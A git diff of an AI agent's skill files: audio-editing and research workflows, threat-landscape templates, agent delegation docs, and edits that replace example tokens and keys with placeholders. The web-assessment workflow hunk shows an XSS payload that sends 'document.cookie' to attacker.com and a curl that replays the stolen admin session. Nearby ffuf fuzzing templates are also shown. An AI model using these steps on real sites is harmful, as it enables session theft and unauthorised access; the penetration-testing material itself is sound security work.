CLEANVOICE_API_KEY) | +| (default) | (none) | Standard cleaning with conservative thresholds | + +## Step 3: Run the Pipeline + +```bash +bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Pipeline.ts \ + "" \ + [FLAGS_FROM_INTENT_MAPPING] \ + --output "" +``` + +**Output naming convention:** `_edited.` in the same directory as the input file. + +**Timeout:** Set a 10-minute timeout. Transcription of long files can take several minutes on MPS. + +## Step 4: Report Results + +After the pipeline completes, report: +- Number of edits applied +- Total time removed +- Original vs edited duration +- Output file path +- Artifacts generated (transcript, edits JSON, edited audio) + +If `--preview` was used, display the edit list and ask if the user wants to proceed with execution. + +## Individual Tool Usage + +For debugging or partial workflows, individual tools can be run standalone: + +```bash +# Transcription only +bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Transcribe.ts + +# Analysis only (requires transcript) +bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Analyze.ts + +# Edit only (requires audio + edits) +bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Edit.ts + +# Polish only (requires CLEANVOICE_API_KEY) +bun ~/.opencode/skills/Utilities/AudioEditor/Tools/Polish.ts +``` diff --git a/.opencode/skills/PAI/SKILL.md b/.opencode/skills/PAI/SKILL.md index a8b2a4ec..397ab1cb 100755 --- a/.opencode/skills/PAI/SKILL.md +++ b/.opencode/skills/PAI/SKILL.md @@ -1,13 +1,14 @@ +--- +name: PAI +description: Personal AI Infrastructure core. The authoritative reference for how PAI works. +--- + ---- -name: PAI -description: Personal AI Infrastructure core. The authoritative reference for how PAI works. ---- # ⛔ CRITICAL: WORKING DIRECTORY - READ FIRST ⛔ diff --git a/.opencode/skills/Research/MigrationNotes.md b/.opencode/skills/Research/MigrationNotes.md new file mode 100755 index 00000000..523a4191 --- /dev/null +++ b/.opencode/skills/Research/MigrationNotes.md @@ -0,0 +1,121 @@ +# Research Skill Migration - Skills-as-Containers Architecture + +**Date:** 2025-10-31 +**Intern Agent:** Nova +**Architecture:** Skills-as-Containers + +## Migration Summary + +Successfully migrated 4 research commands to the research skill's workflows directory, following the Skills-as-Containers architecture pattern. + +## Files Migrated + +### 1. Claude WebSearch Research +- **Source:** `~/.opencode/commands/perform-claude-research.md` +- **Destination:** `~/.opencode/skills/Research/Workflows/ClaudeResearch.md` +- **Size:** 3.6K +- **Description:** Intelligent query decomposition with Claude's WebSearch tool (free, no API keys) +- **Triggers:** "claude research", "use websearch", "claude only" + +### 2. Perplexity API Research +- **Source:** `~/.opencode/commands/perform-perplexity-research.md` +- **Destination:** `~/.opencode/skills/Research/Workflows/PerplexityResearch.md` +- **Size:** 8.1K +- **Description:** Fast web search with query decomposition via Perplexity API +- **Triggers:** "perplexity research", "use perplexity", "sonar" + +### 3. Interview Preparation +- **Source:** `~/.opencode/commands/perform-interview-research.md` +- **Destination:** `~/.opencode/skills/Research/Workflows/InterviewResearch.md` +- **Size:** 4.4K +- **Description:** Tyler Cowen-style interview prep with Shannon surprise principle +- **Triggers:** "interview research", "prepare interview questions", "sponsored interview" + +### 4. AI Trends Analysis +- **Source:** `~/.opencode/commands/analyze-ai-trends.md` +- **Destination:** `~/.opencode/skills/Research/Workflows/AnalyzeAiTrends.md` +- **Size:** 3.0K +- **Description:** Deep trend analysis across historical AI news logs +- **Triggers:** "analyze ai trends", "trend analysis", "ai industry trends" + +## Workflows Directory Status + +**Location:** `~/.opencode/skills/Research/Workflows/` + +**Note (2026-01):** Conduct.md and PerplexityResearch.md were later removed. Perplexity functionality consolidated into QuickResearch.md (single-agent) and StandardResearch.md (multi-agent). + +**Current Workflows:** 13 +- `AnalyzeAiTrends.md` - AI industry trend analysis +- `ClaudeResearch.md` - Claude WebSearch only +- `Enhance.md` - Content enhancement +- `ExtensiveResearch.md` - 12-agent parallel research +- `ExtractAlpha.md` - Deep insight extraction +- `ExtractKnowledge.md` - Knowledge extraction +- `Fabric.md` - 242+ Fabric patterns +- `InterviewResearch.md` - Tyler Cowen-style prep +- `QuickResearch.md` - 1 Perplexity agent (fast) +- `Retrieve.md` - Content retrieval with anti-bot handling +- `StandardResearch.md` - 3-agent default research +- `WebScraping.md` - Web scraping workflows +- `YoutubeExtraction.md` - YouTube content extraction + +## SKILL.md Updates + +Added comprehensive routing section: + +### Research Workflow Routing + +Based on the type of research request, route to the appropriate workflow: + +1. **Quick Research (Single Perplexity)** - `Workflows/QuickResearch.md` +2. **Standard Research (Default)** - `Workflows/StandardResearch.md` +3. **Extensive Research (12 agents)** - `Workflows/ExtensiveResearch.md` +4. **Claude WebSearch Research** - `Workflows/ClaudeResearch.md` +5. **Interview Preparation** - `Workflows/InterviewResearch.md` +6. **AI Trends Analysis** - `Workflows/AnalyzeAiTrends.md` + +Each workflow has: +- Clear location path +- Trigger phrases for routing +- Brief description of purpose + +## Original Files Status + +✅ **ALL ORIGINALS PRESERVED** + +The original command files remain in `~/.opencode/commands/`: +- `perform-claude-research.md` ✓ +- `perform-perplexity-research.md` ✓ +- `perform-interview-research.md` ✓ +- `analyze-ai-trends.md` ✓ + +## Success Criteria Met + +✅ 4 new commands in Workflows/ (5 total with conduct.md) +✅ SKILL.md routing updated with clear triggers +✅ Originals preserved in commands/ directory +✅ Skills-as-Containers architecture followed + +## Benefits of Migration + +1. **Centralized Research Logic:** All research workflows now live within the research skill +2. **Clear Routing:** SKILL.md provides explicit routing based on user triggers +3. **Skills-as-Containers:** Follows the established architecture pattern +4. **Backwards Compatible:** Original commands preserved for reference/rollback +5. **Scalable:** Easy to add more research workflows in the future + +## Next Steps + +Consider: +1. Adding workflow-specific documentation for each research type +2. Creating example outputs for each workflow +3. Potentially deprecating original command files once migration is validated +4. Adding cross-workflow coordination patterns (e.g., "do both perplexity and claude research") + +## Architecture Pattern + +This migration follows the **Skills-as-Containers** pattern where: +- Skills are self-contained directories +- Workflows live in `Workflows/` subdirectory +- SKILL.md provides routing and documentation +- Original commands can be deprecated after validation diff --git a/.opencode/skills/Research/Templates/MarketResearch.md b/.opencode/skills/Research/Templates/MarketResearch.md new file mode 100644 index 00000000..1e3d8c29 --- /dev/null +++ b/.opencode/skills/Research/Templates/MarketResearch.md @@ -0,0 +1,272 @@ +# Market Research Domain Template + +Domain-specific configuration for the Deep Investigation workflow applied to market analysis. + +--- + +## Entity Categories + +| Category | Description | Target Count | +|----------|-------------|-------------| +| **Companies** | Businesses operating in this market (startups, incumbents, adjacent) | 8-15 | +| **Products** | Key products/services/platforms in the market | 5-10 | +| **People** | Founders, executives, investors, analysts shaping the market | 5-10 | +| **Technologies** | Core technologies, frameworks, standards enabling the market | 3-8 | +| **Trends** | Market movements, shifts, emerging patterns | 3-6 | +| **Investors** | VCs, firms, and funding sources active in this market | 3-8 | + +--- + +## Evaluation Criteria (What Makes Something CRITICAL?) + +**Companies:** +- CRITICAL: Market leaders with >10% share, category creators, companies everyone references +- HIGH: Well-funded challengers, companies with unique approaches, acquisition targets +- MEDIUM: Niche players with specialized focus +- LOW: Early-stage with unproven traction + +**Products:** +- CRITICAL: Category-defining products, industry standards +- HIGH: Strong adoption, innovative approaches, frequently compared +- MEDIUM: Solid but not differentiated +- LOW: New/unproven or declining + +**People:** +- CRITICAL: Founders of CRITICAL companies, top analysts whose opinions move markets +- HIGH: Influential voices, repeat founders, key investors +- MEDIUM: Notable contributors, rising figures +- LOW: Peripheral involvement + +**Technologies:** +- CRITICAL: Foundational tech that enables the entire market +- HIGH: Widely adopted frameworks/standards +- MEDIUM: Emerging tech with growing adoption +- LOW: Experimental, limited adoption + +--- + +## Search Strategies + +**For landscape (Step 1):** +- "[market] market size 2025 2026" +- "[market] competitive landscape analysis" +- "[market] industry report key players" +- "[market] venture funding trends" +- "Gartner|Forrester|IDC [market] analysis" + +**For entity discovery (Step 3):** +- "[market] startups to watch" +- "[market] top companies list" +- "[market] funding rounds recent" +- "[market] key executives leaders" +- "[market] technology stack overview" + +**For deep investigation (Step 4):** +- "[entity name] funding history crunchbase" +- "[entity name] product review comparison" +- "[entity name] CEO interview podcast" +- "[entity name] revenue customers case study" +- "[entity name] competitors alternative" + +--- + +## Profile Templates + +### Company Profile + +```markdown +# {Company Name} + +## Overview +- **Founded:** {year} +- **HQ:** {location} +- **Stage:** {Seed/Series A/B/C/Public/Acquired} +- **Employees:** {count or range} +- **Website:** {url} + +## What They Do +[2-3 sentences: what the company does, who it serves, core value prop] + +## Funding & Financials +- **Total Raised:** {amount} +- **Last Round:** {amount, date, lead investor} +- **Key Investors:** {list} +- **Revenue Indicators:** {public info, estimates, growth signals} + +## Product & Technology +- **Core Product:** {name, description} +- **Technology:** {tech stack, key innovations} +- **Target Market:** {customer segment, use case} +- **Pricing Model:** {pricing approach} + +## Competitive Position +- **Strengths:** {2-3 bullets} +- **Weaknesses:** {2-3 bullets} +- **Key Differentiator:** {what sets them apart} +- **Primary Competitors:** [links to other profiles] + +## Leadership +- **CEO/Founder:** {name, background} +- **Key Executives:** {notable hires} + +## Recent Developments +- {date}: {development} +- {date}: {development} + +## Market Significance +[Why this company matters in the landscape. 2-3 sentences.] + +## Sources +[Verified URLs only] +``` + +### Product Profile + +```markdown +# {Product Name} + +## Overview +- **Company:** [link to company profile] +- **Category:** {product category} +- **Launched:** {year} +- **Pricing:** {model and range} + +## Core Capabilities +- {capability 1} +- {capability 2} +- {capability 3} + +## Target Users +[Who uses this and why] + +## Competitive Comparison +| Feature | {This Product} | {Competitor 1} | {Competitor 2} | +|---------|---------------|----------------|----------------| +| {feature} | {status} | {status} | {status} | + +## Adoption & Traction +- **Users/Customers:** {numbers or indicators} +- **Notable Customers:** {names} +- **Growth Signals:** {evidence} + +## Strengths & Weaknesses +- **Strengths:** {bullets} +- **Weaknesses:** {bullets} + +## Sources +[Verified URLs only] +``` + +### Person Profile + +```markdown +# {Person Name} + +## Overview +- **Current Role:** {title at company} [link to company profile] +- **Background:** {1-sentence career summary} +- **Location:** {city} + +## Career History +- {year-present}: {role at company} +- {year-year}: {previous role} +- {year-year}: {earlier role} + +## Significance +[Why this person matters in the market. What influence do they have?] + +## Thought Leadership +- {topic}: {where they've published/spoken} +- Notable takes: {key positions or predictions} + +## Connections +- Companies: [links to related company profiles] +- Other People: [links to related person profiles] + +## Sources +[Verified URLs only] +``` + +### Technology Profile + +```markdown +# {Technology Name} + +## Overview +- **Type:** {framework/protocol/standard/platform} +- **Created by:** {origin} +- **Maturity:** {experimental/emerging/mainstream/legacy} + +## What It Does +[2-3 sentences explaining the technology] + +## Adoption +- **Key Users:** {companies, products using it} +- **Market Penetration:** {adoption indicators} + +## Significance +[Why this technology matters for the market] + +## Alternatives +- {alternative 1}: {how it compares} +- {alternative 2}: {how it compares} + +## Sources +[Verified URLs only] +``` + +### Trend Profile + +```markdown +# {Trend Name} + +## Overview +[What is this trend? 2-3 sentences] + +## Evidence +- {data point or signal 1} +- {data point or signal 2} +- {data point or signal 3} + +## Drivers +[What's causing this trend?] + +## Impact +- **Winners:** {who benefits} +- **Losers:** {who's disrupted} +- **Timeline:** {when does this play out} + +## Connected Entities +- Companies: [links to related profiles] +- Technologies: [links to related profiles] + +## Sources +[Verified URLs only] +``` + +### Investor Profile + +```markdown +# {Investor/Firm Name} + +## Overview +- **Type:** {VC/PE/Corporate/Angel} +- **AUM:** {assets under management if public} +- **Focus Areas:** {investment thesis areas} + +## Portfolio in This Market +- {company 1}: {round, amount} [link to company profile] +- {company 2}: {round, amount} + +## Investment Thesis +[What do they look for in this market? What's their angle?] + +## Key Partners +- {partner name}: {focus, background} + +## Significance +[Why this investor matters for the market landscape] + +## Sources +[Verified URLs only] +``` diff --git a/.opencode/skills/Research/Templates/ThreatLandscape.md b/.opencode/skills/Research/Templates/ThreatLandscape.md new file mode 100644 index 00000000..c3f90e41 --- /dev/null +++ b/.opencode/skills/Research/Templates/ThreatLandscape.md @@ -0,0 +1,277 @@ +# Threat Landscape Domain Template + +Domain-specific configuration for the Deep Investigation workflow applied to cybersecurity threat analysis. + +--- + +## Entity Categories + +| Category | Description | Target Count | +|----------|-------------|-------------| +| **Threat Actors** | APT groups, cybercrime organizations, hacktivists, nation-state actors | 5-15 | +| **Campaigns** | Named operations, attack waves, ongoing exploitation campaigns | 3-8 | +| **TTPs** | Tactics, techniques, and procedures — MITRE ATT&CK mapped | 5-10 | +| **Vulnerabilities** | CVEs, vulnerability classes, exploit chains being actively used | 5-12 | +| **Tools** | Malware families, C2 frameworks, exploit kits, offensive tools | 5-10 | +| **Defenders** | Security vendors, researchers, CERTs responding to threats | 3-8 | + +--- + +## Evaluation Criteria (What Makes Something CRITICAL?) + +**Threat Actors:** +- CRITICAL: Active APTs targeting your industry, nation-state groups with demonstrated capability +- HIGH: Prolific ransomware groups, actors with recent high-profile breaches +- MEDIUM: Known groups with limited recent activity +- LOW: Low-capability actors, script kiddies, inactive groups + +**Campaigns:** +- CRITICAL: Actively exploiting, widespread targeting, zero-day usage +- HIGH: Recent campaigns with significant impact or novel techniques +- MEDIUM: Historical campaigns with relevant lessons +- LOW: Contained or resolved campaigns + +**TTPs:** +- CRITICAL: Techniques used in active campaigns against your sector +- HIGH: Commonly used techniques with high success rate +- MEDIUM: Known techniques with available mitigations +- LOW: Theoretical or rarely observed techniques + +**Vulnerabilities:** +- CRITICAL: Actively exploited (CISA KEV), network-accessible, no patch available +- HIGH: Actively exploited with patch available, or pre-auth RCE +- MEDIUM: High CVSS but limited exploitation +- LOW: Low CVSS or highly specific preconditions + +--- + +## Search Strategies + +**For landscape (Step 1):** +- "[sector] threat landscape 2025 2026" +- "APT groups targeting [industry]" +- "MITRE ATT&CK [sector] techniques" +- "ransomware trends [year]" +- "CISA advisories [sector] recent" + +**For entity discovery (Step 3):** +- "[threat actor name] IOC report" +- "CVE [year] actively exploited [technology]" +- "[malware family] analysis report" +- "threat intelligence [sector] annual report" + +**For deep investigation (Step 4):** +- "[actor/campaign] MITRE ATT&CK mapping" +- "[actor] mandiant|crowdstrike|recorded future report" +- "[CVE] exploit analysis proof of concept" +- "[malware] reverse engineering analysis" +- "[actor] attribution evidence indicators" + +--- + +## Profile Templates + +### Threat Actor Profile + +```markdown +# {Actor Name / Designation} + +## Overview +- **Also Known As:** {aliases across vendors} +- **Type:** {APT/Cybercrime/Hacktivist/Nation-State} +- **Suspected Origin:** {country/region, confidence level} +- **Active Since:** {year} +- **Current Status:** {Active/Dormant/Disbanded} + +## Attribution +[What evidence supports attribution? Confidence level? Disputed?] + +## Targeting +- **Industries:** {targeted sectors} +- **Geographies:** {targeted regions} +- **Motivation:** {espionage/financial/disruption/ideology} + +## TTPs (MITRE ATT&CK Mapped) +| Tactic | Technique | ID | Notes | +|--------|-----------|-----|-------| +| Initial Access | {technique} | T{XXXX} | {how they use it} | +| Execution | {technique} | T{XXXX} | {details} | + +## Tools & Malware +- {tool/malware 1}: {description} [link to tool profile] +- {tool/malware 2}: {description} + +## Notable Operations +- {date}: {campaign/operation} [link to campaign profile] +- {date}: {campaign/operation} + +## Indicators of Compromise +[Representative IOCs — domains, IPs, hashes, patterns] + +## Defensive Recommendations +- {recommendation 1} +- {recommendation 2} + +## Sources +[Verified URLs — vendor reports, government advisories, academic research] +``` + +### Campaign Profile + +```markdown +# {Campaign Name / Designation} + +## Overview +- **Actor:** [link to actor profile] +- **Timeframe:** {start date — end date or ongoing} +- **Status:** {Active/Contained/Resolved} +- **Impact:** {scope and severity} + +## Targeting +- **Victims:** {who was targeted} +- **Geography:** {where} +- **Scale:** {number of known victims} + +## Attack Chain +1. **Initial Access:** {how they got in} +2. **Execution:** {what they ran} +3. **Persistence:** {how they stayed} +4. **Impact:** {what they achieved} + +## Vulnerabilities Exploited +- {CVE-XXXX-XXXXX}: {description} [link to vuln profile] + +## Tools Used +- {tool}: {role in campaign} [link to tool profile] + +## Detection Opportunities +- {detection 1} +- {detection 2} + +## Lessons Learned +[What can defenders learn from this campaign?] + +## Sources +[Verified URLs] +``` + +### TTP Profile + +```markdown +# {Technique Name} + +## MITRE ATT&CK +- **ID:** T{XXXX} +- **Tactic:** {tactic} +- **Sub-techniques:** {list if applicable} +- **Platforms:** {Windows/Linux/macOS/Cloud} + +## Description +[How this technique works. 2-3 paragraphs.] + +## Real-World Usage +- {Actor 1}: {how they used it} [link to actor profile] +- {Actor 2}: {how they used it} + +## Detection +- **Log Sources:** {what to monitor} +- **Detection Logic:** {sigma rules, KQL, SPL concepts} +- **Difficulty:** {Easy/Medium/Hard to detect} + +## Mitigation +- {mitigation 1} +- {mitigation 2} + +## Sources +[Verified URLs] +``` + +### Vulnerability Profile + +```markdown +# {CVE ID}: {Short Description} + +## Overview +- **CVE:** {CVE-XXXX-XXXXX} +- **CVSS:** {score} ({severity}) +- **Affected:** {product/version} +- **Discovered:** {date} +- **Patch Available:** {yes/no, date} + +## Exploitation Status +- **CISA KEV:** {yes/no} +- **Active Exploitation:** {confirmed/suspected/none} +- **Exploit Availability:** {public PoC/private/none} + +## Technical Details +[How the vulnerability works. What's the root cause?] + +## Impact +[What can an attacker achieve by exploiting this?] + +## Used By +- {Actor/Campaign}: [link to profile] + +## Remediation +- **Patch:** {version/link} +- **Workaround:** {if no patch} +- **Detection:** {how to detect exploitation} + +## Sources +[Verified URLs — NVD, vendor advisory, researcher writeups] +``` + +### Tool / Malware Profile + +```markdown +# {Tool/Malware Name} + +## Overview +- **Type:** {RAT/Ransomware/Loader/C2 Framework/Exploit Kit/Offensive Tool} +- **First Seen:** {date} +- **Current Status:** {Active/Deprecated/Evolving} +- **Availability:** {Open source/Commercial/Private/Leaked} + +## Capabilities +- {capability 1} +- {capability 2} +- {capability 3} + +## Used By +- {Actor 1}: {context} [link to actor profile] +- {Actor 2}: {context} + +## Technical Analysis +[How it works. Key features. Evasion techniques.] + +## Detection +- **Signatures:** {AV detection names} +- **Behavioral:** {what to look for} +- **Network:** {C2 patterns, protocols} + +## Sources +[Verified URLs] +``` + +### Defender Profile + +```markdown +# {Vendor/Team/Researcher Name} + +## Overview +- **Type:** {Security Vendor/CERT/Research Group/Individual Researcher} +- **Focus:** {what they specialize in} + +## Key Contributions +- {contribution 1 — report, tool, disclosure} +- {contribution 2} + +## Threat Coverage +[What threats do they track? What intelligence do they produce?] + +## Notable Reports +- {report title}: {summary} {verified URL} + +## Sources +[Verified URLs] +``` diff --git a/.opencode/skills/Security/WebAssessment/FfufResources/REQUEST_TEMPLATES.md b/.opencode/skills/Security/WebAssessment/FfufResources/REQUEST_TEMPLATES.md index d8415a22..f6024d42 100755 --- a/.opencode/skills/Security/WebAssessment/FfufResources/REQUEST_TEMPLATES.md +++ b/.opencode/skills/Security/WebAssessment/FfufResources/REQUEST_TEMPLATES.md @@ -8,7 +8,7 @@ These are example `req.txt` templates for common authenticated fuzzing scenarios GET /api/v1/users/FUZZ HTTP/1.1 Host: api.target.com User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 -Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c +Authorization: Bearer [EXAMPLE_JWT_TOKEN_1] Accept: application/json Content-Type: application/json ``` @@ -47,7 +47,7 @@ ffuf --request req.txt -w payloads.txt -ac -fc 403 -o results.json GET /v2/data/FUZZ HTTP/1.1 Host: api.target.com User-Agent: Custom-Client/1.0 -X-API-Key: YOUR_API_KEY_HERE_abc123def456ghi789jkl +X-API-Key: [YOUR_API_KEY_HERE] Accept: application/json ``` @@ -99,7 +99,7 @@ ffuf --request req.txt -w resource-names.txt -ac -mc 200,404 -fw 50-100 -o resul POST /api/v1/query HTTP/1.1 Host: api.target.com User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 -Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... +Authorization: Bearer [EXAMPLE_JWT_TOKEN] Content-Type: application/json Accept: application/json Content-Length: 45 @@ -120,7 +120,7 @@ ffuf --request req.txt -w sqli-payloads.txt -ac -fr "error" -o results.json GET /api/v1/users/USER_ID/documents/DOC_ID HTTP/1.1 Host: api.target.com User-Agent: Mozilla/5.0 -Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... +Authorization: Bearer [EXAMPLE_JWT_TOKEN] Accept: application/json ``` @@ -142,7 +142,7 @@ ffuf --request req.txt \ POST /graphql HTTP/1.1 Host: api.target.com User-Agent: GraphQL-Client/1.0 -Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... +Authorization: Bearer [EXAMPLE_JWT_TOKEN] Content-Type: application/json Accept: application/json Content-Length: 89 diff --git a/.opencode/skills/Security/WebAssessment/OsintTools/API-TOOLS-GUIDE.md b/.opencode/skills/Security/WebAssessment/OsintTools/API-TOOLS-GUIDE.md index 29228a3b..eb8e1cb2 100755 --- a/.opencode/skills/Security/WebAssessment/OsintTools/API-TOOLS-GUIDE.md +++ b/.opencode/skills/Security/WebAssessment/OsintTools/API-TOOLS-GUIDE.md @@ -143,10 +143,10 @@ Add your API keys to `${PAI_DIR}/.env`: nano ${PAI_DIR}/.env # Add these lines (replace with your actual keys): -SHODAN_API_KEY=your_actual_shodan_api_key_here -DEHASHED_API_KEY=your_actual_dehashed_api_key_here -DEHASHED_EMAIL=your_dehashed_account_email@example.com -OSINT_INDUSTRIES_API_KEY=your_actual_osint_industries_key_here +SHODAN_API_KEY=[YOUR_SHODAN_API_KEY] +DEHASHED_API_KEY=[YOUR_DEHASHED_API_KEY] +DEHASHED_EMAIL=[YOUR_DEHASHED_EMAIL] +OSINT_INDUSTRIES_API_KEY=[YOUR_OSINT_INDUSTRIES_API_KEY] ``` **CRITICAL:** Ensure `${PAI_DIR}/.env` is in `.gitignore` and NEVER commit it to any repository. diff --git a/.opencode/skills/Security/WebAssessment/OsintTools/README.md b/.opencode/skills/Security/WebAssessment/OsintTools/README.md index 8cd71101..fba3d53d 100755 --- a/.opencode/skills/Security/WebAssessment/OsintTools/README.md +++ b/.opencode/skills/Security/WebAssessment/OsintTools/README.md @@ -128,7 +128,7 @@ geolocation # Get location data from posts ```ini [Credentials] username = your_instagram_username - password = your_instagram_password + password = [YOUR_INSTAGRAM_PASSWORD] ``` - **Security Warning:** Use a dedicated OSINT account, not your personal account diff --git a/.opencode/skills/Security/WebAssessment/Workflows/VulnerabilityAnalysisGemini3.md b/.opencode/skills/Security/WebAssessment/Workflows/VulnerabilityAnalysisGemini3.md index 34c1a1a5..fe469291 100755 --- a/.opencode/skills/Security/WebAssessment/Workflows/VulnerabilityAnalysisGemini3.md +++ b/.opencode/skills/Security/WebAssessment/Workflows/VulnerabilityAnalysisGemini3.md @@ -787,13 +787,13 @@ fetch('https://attacker.com/steal?cookie='+document.cookie) 3. **Capture admin session token:** ``` # Attacker's server receives: -session_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... +session_token=[EXAMPLE_JWT_TOKEN] ``` 4. **Replay session from attacker's IP:** ```bash curl https://target.com/admin/dashboard \ - -H "Cookie: session_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." + -H "Cookie: session_token=[EXAMPLE_JWT_TOKEN]" # Success - admin dashboard access! ``` diff --git a/.opencode/skills/Security/WebAssessment/Workflows/ffuf/FfufGuide.md b/.opencode/skills/Security/WebAssessment/Workflows/ffuf/FfufGuide.md index 0db25045..f6b278fa 100755 --- a/.opencode/skills/Security/WebAssessment/Workflows/ffuf/FfufGuide.md +++ b/.opencode/skills/Security/WebAssessment/Workflows/ffuf/FfufGuide.md @@ -214,7 +214,7 @@ ffuf --request req.txt -w /path/to/wordlist.txt -ac POST /api/v1/users/FUZZ HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 -Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... +Authorization: Bearer [EXAMPLE_JWT_TOKEN] Cookie: session=abc123xyz; csrftoken=def456 Content-Type: application/json Content-Length: 27 diff --git a/.opencode/skills/Telos/Telos/SKILL.md b/.opencode/skills/Telos/Telos/SKILL.md index 2b1f3f98..240faff5 100755 --- a/.opencode/skills/Telos/Telos/SKILL.md +++ b/.opencode/skills/Telos/Telos/SKILL.md @@ -1,5 +1,5 @@ --- -name: Telos +name: TelosCore description: "Life OS and project analysis. USE WHEN TELOS, life goals, projects, dependencies, books, movies. SkillSearch('telos') for docs." --- diff --git a/.opencode/skills/USMetrics/USMetrics/SKILL.md b/.opencode/skills/USMetrics/USMetrics/SKILL.md index f4e85ef8..1ecbf043 100755 --- a/.opencode/skills/USMetrics/USMetrics/SKILL.md +++ b/.opencode/skills/USMetrics/USMetrics/SKILL.md @@ -1,5 +1,5 @@ --- -name: USMetrics +name: USMetricsCore description: US economic indicators. USE WHEN GDP, inflation, unemployment, economic metrics, gas prices. SkillSearch('usmetrics') for docs. --- diff --git a/.opencode/skills/Utilities/Delegation/SKILL.md b/.opencode/skills/Utilities/Delegation/SKILL.md new file mode 100644 index 00000000..ad701a56 --- /dev/null +++ b/.opencode/skills/Utilities/Delegation/SKILL.md @@ -0,0 +1,189 @@ +--- +name: Delegation +description: Parallelize work via background/foreground agents, built-in types, custom agents, or agent teams/swarms. USE WHEN 3+ independent workstreams, parallel execution, agent specialization, Extended+ effort, agent team, swarm, create an agent team. +--- + +# Delegation — Agent Orchestration & Parallelization + +**Auto-invoked by the Algorithm when work can be parallelized or requires agent specialization.** + +## 🚨 CRITICAL ROUTING — Two COMPLETELY Different Systems + +| {PRINCIPAL.NAME} Says | System | Tool | What Happens | +|-------------|--------|------|-------------| +| "**custom agents**", "spin up agents", "launch agents" | **Agents Skill** (ComposeAgent) | `Task(subagent_type="general-purpose", prompt=)` | Unique personalities, voices, colors via trait composition | +| "**create an agent team**", "**agent team**", "**swarm**" | **Claude Code Teams** | `TeamCreate` → `TaskCreate` → `SendMessage` | Persistent team with shared task list, message coordination, multi-turn collaboration | + +**These are NOT the same thing:** +- **Custom agents** = one-shot parallel workers with unique identities, launched via `Task()`, no shared state +- **Agent teams** = persistent coordinated teams with shared task lists, messaging, and multi-turn collaboration via `TeamCreate` + +## When the Algorithm Should Use This Skill + +- **3+ independent workstreams** exist at Extended+ effort level +- **Multiple identical non-serial tasks** need parallel execution +- **Specialized expertise** needed (architecture design, implementation, ISC optimization) +- **Large codebase changes** spanning 5+ files benefit from parallel workers +- **Research + execution** can proceed simultaneously +- **"Create an agent team"** — use TeamCreate for persistent coordinated teams + +## Delegation Patterns + +### 1. Built-In Agents + +Use `Task(subagent_type="AgentType")` with these specialized agents: + +| Agent Type | Specialization | When to Use | +|-----------|---------------|-------------| +| `Engineer` | TDD implementation, code changes | Code-heavy tasks requiring tests | +| `Architect` | System design, structure decisions | Architecture planning, design specs | +| `Algorithm` | ISC optimization, criteria work | ISC-specialized verification | +| `Explore` | Fast codebase search | Quick file/pattern discovery | +| `Plan` | Implementation strategy | Design before execution | + +**Always include:** Full context, effort budget, expected output format. + +### 2. Worktree-Isolated Agents + +Run agents in their own git worktree with `isolation: "worktree"` for file-safe parallelism: + +``` +Task(subagent_type="Engineer", isolation: "worktree", prompt="...") +``` + +- Each agent gets its own working tree — no file conflicts with other agents +- Worktree auto-created on spawn, auto-cleaned when agent finishes (unless changes made) +- Use when multiple agents edit the same files or for competing approaches +- Can combine with `run_in_background: true` for non-blocking isolated work +- **Built-in agents with `isolation: worktree` in frontmatter** (Engineer, Architect) auto-isolate on every spawn + +### 3. Background Agents + +Run agents with `run_in_background: true` for non-blocking parallel work: + +``` +Task(subagent_type="Engineer", run_in_background: true, prompt="...") +``` + +- Use when results aren't needed immediately +- Check output with `Read` tool on the output_file path +- Ideal for: research, long builds, parallel investigations + +### 3. Foreground Agents + +Standard `Task()` calls that block until complete: + +- Use when you need the result before proceeding +- Use for sequential dependencies +- Default mode — most common + +### 4. Custom Agents (via Agents Skill) + +**Trigger:** "custom agents", "spin up agents", "launch agents", "specialized agents" +**Action:** Invoke the **Agents skill** → run `ComposeAgent.ts` → launch with `Task(subagent_type="general-purpose")` + +```bash +# Step 1: Compose agent identity +bun run ~/.opencode/skills/Agents/Tools/ComposeAgent.ts --traits "security,skeptical,thorough" --task "Review auth" --output json + +# Step 2: Launch with composed prompt +Task(subagent_type="general-purpose", prompt=) +``` + +- Each agent gets unique personality, voice, and color via ComposeAgent +- Use DIFFERENT trait combinations for each agent to get unique voices +- Never use built-in agent types (Engineer, Architect) for custom work +- Ideal for: domain experts, adversarial reviewers, creative brainstormers, parallel analysis + +### 5. Agent Teams (via TeamCreate) + +**Trigger:** "create an agent team", "agent team", "swarm", "team of agents" +**Action:** Use `TeamCreate` tool → `TaskCreate` → spawn teammates via `Task(team_name=...)` → coordinate via `SendMessage` + +``` +1. TeamCreate(team_name="my-project") # Creates team + task list +2. TaskCreate(subject="Implement auth module") # Create team tasks +3. Task(subagent_type="Engineer", team_name="my-project", name="auth-engineer") # Spawn teammate +4. TaskUpdate(taskId="1", owner="auth-engineer") # Assign task +5. SendMessage(type="message", recipient="auth-engineer", content="...") # Coordinate +``` + +**This is a COMPLETELY DIFFERENT system from custom agents:** +- **Custom agents** (Agents skill) = fire-and-forget parallel workers, no shared state +- **Agent teams** (TeamCreate) = persistent coordinated teams with shared task lists, messaging, multi-turn + +**Team Guidelines:** +- Use for 3+ independently workable criteria at Extended+ +- Large complex coding tasks benefit most +- Each teammate works independently on assigned tasks via shared task list +- Parent coordinates via `SendMessage`, reconciles results +- Teammates go idle between turns — send messages to wake them + +### 6. Parallel Task Dispatch + +For N identical operations (e.g., updating 10 files with the same pattern): + +1. Create N `Task()` calls in 